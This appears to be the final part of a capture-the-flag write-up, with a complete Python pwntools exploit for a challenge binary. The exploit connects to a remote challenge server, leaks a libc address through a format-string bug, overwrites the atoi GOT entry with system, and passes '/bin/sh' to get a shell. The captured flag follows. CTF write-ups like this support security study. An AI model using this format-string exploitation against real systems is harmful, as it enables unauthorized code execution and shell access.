  v2 = __readfsqword(0x28u);
  read(0, buf, 0xFuLL);
  return atoi(buf);
}

Full exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal") 
libc = ELF("//usr/lib/x86_64-linux-gnu/libc.so.6")
# ld = ELF("./ld-2.35.so")

context.update(os = "linux", arch = "amd64", log_level = "debug", terminal = "cmd.exe /c start wsl".split(), binary = exe)

def debug():
    gdb.attach(p, gdbscript = """
        b* 0x40157A
        continue
    """)
    pause() 

# debug()

while True: 
    # p = process(exe.path)
    p = remote("152.69.210.130", 2004)

    sl  = p.sendline
    sa  = p.sendafter
    sla = p.sendlineafter
    rl  = p.recvline
    ru  = p.recvuntil

    ru(b"Lucky number: ")
    lucky_number = int(rl().strip(), 10)

    if lucky_number == 68: 
        break  
    else: 
        p.close() 

sl(b"-")
payload = b"%67$p"
sla(b"name: ", payload) 

libc_leak = int(rl().strip(), 16)
libc_base = libc_leak - libc.symbols["__libc_start_main"] - 128 
system = libc_base + libc.symbols["system"]

log.info(f"libc base = {hex(libc_base)}")
log.info(f"libc leak = {hex(libc_leak)}")
log.info(f"system = {hex(system)}")

package = {
    (system >> 0 ) & 0xFFFF : exe.got["atoi"],
    (system >> 16) & 0xFFFF : exe.got["atoi"] + 2, 
    (system >> 32) & 0xFFFF : exe.got["atoi"] + 4 
}
sorted_package = sorted(package) 

payload =  f"%{sorted_package[0]}c%12$hn".encode() 
payload += f"%{sorted_package[1] - sorted_package[0]}c%13$hn".encode() 
payload += f"%{sorted_package[2] - sorted_package[1]}c%14$hn".encode() 
payload = payload.ljust(0x30, b"P") 
payload += flat(
    package[sorted_package[0]],
    package[sorted_package[1]],
    package[sorted_package[2]]
)

sl(b"-") 
sla(b"name: ", payload) 

sl(b"1")
sla(b"guess: ", b"/bin/sh")

p.interactive() 

Flag thu được là ISITDTU{a0e1948f76e189794b7377d8e3b585bfa99d7ed0de7e6a6ff01c2fd95bdf3f72}.